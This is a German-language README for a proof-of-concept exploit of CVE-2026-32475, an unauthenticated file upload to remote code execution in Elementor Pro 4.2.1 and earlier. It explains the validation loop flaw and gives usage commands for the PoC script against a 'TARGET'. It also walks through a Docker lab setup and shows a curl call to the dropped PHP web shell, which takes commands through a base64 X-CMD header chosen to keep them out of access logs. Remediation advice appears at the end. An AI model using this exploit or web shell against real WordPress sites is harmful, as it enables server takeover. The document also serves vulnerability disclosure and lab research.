
# PoC für CVE-2026-32475: Elementor Pro <=4.2.1 nicht authentifizierter Datei-Upload zu RCE. Nur Stdlib-Python.
| CVE | CVE-2026-32475 |
| CVSS | 9.0 Kritisch |
| CWE | CWE-434 (Unbeschränkter Upload von Dateien mit gefährlichem Typ) |
| Authentifizierung erforderlich | Keine |
| Betroffen | Elementor Pro ≤ 4.2.1 |
| Behoben | Elementor Pro 4.2.2 (2026-08-19) |
| Melder | Tin Pham (TF1T), über das Patchstack Bug Bounty Program |
Nicht authentifizierter Besucher
│
▼
Elementor-Formularseite (Datei-Upload-Feld)
│
▼
multipart/form-data POST → admin-ajax.php
│
├── Teil #1: leere Datei
│ └─► validation(): UPLOAD_ERR_NO_FILE → return ◄── Validierung STOPT hier
│
└── Teil #2: shell.php
└─► wird nie auf Typ geprüft
│
▼
process_field(): continue → verschiebt die .php-Payload trotzdem
│
▼
wp-content/uploads/elementor/forms/<uniqid>.php
│
▼
GET auf diese URL ⇒ RCE
Das Forms-Modul verarbeitet jeden hochgeladenen Eintrag in zwei getrennten Durchläufen mit unterschiedlicher Schleifen-Semantik:
validation() process_field()
──────────── ──────────────
foreach files as file: foreach files as file:
if empty(file): if empty(file):
add_error(...) continue ◄─ überspringt nur diesen Eintrag
return move_uploaded_file(...) ◄─ verschiebt den Rest
validation() bricht beim ersten Eintrag ab, dessen Fehler UPLOAD_ERR_NO_FILE ist, sodass der
darauf folgende .php-Eintrag nie auf seinen Typ geprüft wird. process_field() überspringt lediglich diesen
leeren Eintrag und verschiebt trotzdem jeden weiteren in das öffentliche Uploads-Verzeichnis.
Der Validator meldet einen Fehler, während der Mover fortfährt — die Desynchronisation zwischen
den beiden Schleifen ist die Schwachstelle.
Verwundbarer Code (modules/forms/fields/upload.php, ≤ 4.2.1):
// validation()
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // ← bricht die gesamte Schleife ab
}
// process_field()
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // ← überspringt nur diesen Eintrag
}
...
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$filename = uniqid() . '.' . $file_extension; // vom Angreifer kontrollierte Endung überlebt
move_uploaded_file( $file['tmp_name'], $new_file );
Der Fix in 4.2.2 bringt die beiden Schleifen in Einklang — der leere Eintrag beendet die
Validierung nicht mehr vorzeitig, sodass der .php-Eintrag auf seinen Typ geprüft und abgelehnt wird.
post_id, form_id und die Upload-Feld-ID.admin-ajax.php
(action=elementor_pro_forms_send_form).<uniqid>-Dateinamensraum durchsucht wird
(siehe analysis.md für die vollständige uniqid → Dateiname-Zuordnung).Die Shell liest ihren Befehl aus einem X-CMD-Request-Header (base64-dekodiert) statt aus einem
Query-String/POST-Parameter. Dies dient nur dazu, den Befehlstransport von den Formularparametern getrennt
und aus typischen Access-Log-Query-Strings herauszuhalten — es hat keinen Einfluss auf die
Schwachstelle selbst.
python3 el_rce_poc.py --url http://TARGET \
--page-url http://TARGET/upload-form/ \
--command "id; hostname; uname -a"
Nur Python-3-Standardbibliothek. Abstimmungs-Flags:
| Flag | Standard | Bedeutung |
|---|---|---|
--probe-seconds | 0.05 | uniqid-Mikrosekunden-Fenster zum Durchsuchen (Sekunden) |
--step-us | 2000 | Mikrosekunden zwischen den Probes |
--workers | 24 | gleichzeitige Probe-Threads |
--field-id | auto | manuell setzen, wenn die automatische Erkennung des Upload-Felds fehlschlägt |
Hinweis zu langsamen Zielen: Die Probe-Phase kann für das Ziel schwer sein (tausende
Requests). Auf kleinen Geräten, die sowohl Ziel als auch Angreifer hosten, kann der Webserver
gleichzeitige Übermittlungen verwerfen — führen Sie mit --probe-seconds 0 aus, um nur die
Beliebig-Upload-Primitive nachzuweisen, und lokalisieren Sie dann die abgelegte .php direkt auf dem Ziel unter
wp-content/uploads/elementor/forms/ und verifizieren Sie sie.
Das PoC trennt zwei unabhängige Meilensteine:
Beliebig-Upload-Primitive → PASS / FAIL
Dateinamen-Wiederherstellung (uniqid) → PASS / PARTIAL
RCE-Bestätigung → PASS (beide oben erfolgreich)
Exit-Code 0 bedeutet vollständige RCE-Bestätigung. Exit-Code 2 bedeutet, dass die Upload-Primitive
nachgewiesen wurde, der Dateiname aber innerhalb des Fensters nicht erraten werden konnte (verifizieren Sie die
abgelegte .php unter wp-content/uploads/elementor/forms/ manuell).
Siehe docker-compose.yml. Vollständige Schritte:
# 1) WordPress + MariaDB starten
docker compose up -d
# ~30s auf die DB warten, dann WordPress installieren
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
# 2) kostenloses Elementor installieren
docker compose run --rm wpcli wp plugin install elementor --activate
# 3) verwundbares Elementor Pro (<= 4.2.1) installieren.
# Elementor Pro ist ein kostenpflichtiges Plugin — legen Sie Ihre legal erworbene
# elementor-pro.zip (z. B. 4.2.1) zuerst neben docker-compose.yml ab:
docker compose run --rm wpcli wp plugin activate elementor-pro \
|| docker compose exec wordpress bash -c \
"cd wp-content/plugins && unzip -o /var/www/html/epr.zip"
# 4) die Formularseite erstellen (das PoC-Repo enthält setup_form_page.php):
docker cp setup_form_page.php wp-lab:/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
# 5) das PoC ausführen
python3 el_rce_poc.py --url http://localhost:8090 --page-url "http://localhost:8090/?page_id=<ID>"
Upload-Primitive bestätigt — Payload als <uniqid>.php abgelegt:
$ ls wp-content/uploads/elementor/forms/
6a8cebf002529.php
RCE bestätigt durch Abruf der abgelegten Shell:
$ curl http://localhost:8090/wp-content/uploads/elementor/forms/<uniqid>.php \
-H "X-CMD: $(echo 'id && hostname' | base64)"
POC-RCE-OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
26564238432c
Aktualisieren Sie Elementor Pro auf 4.2.2+. Bis dahin entfernen Sie Datei-Upload-Felder aus öffentlichen Formularen oder schränken Sie die Formularübermittlung per WAF-Regel ein.
Nur für autorisierte Sicherheitsforschung und Labornutzung.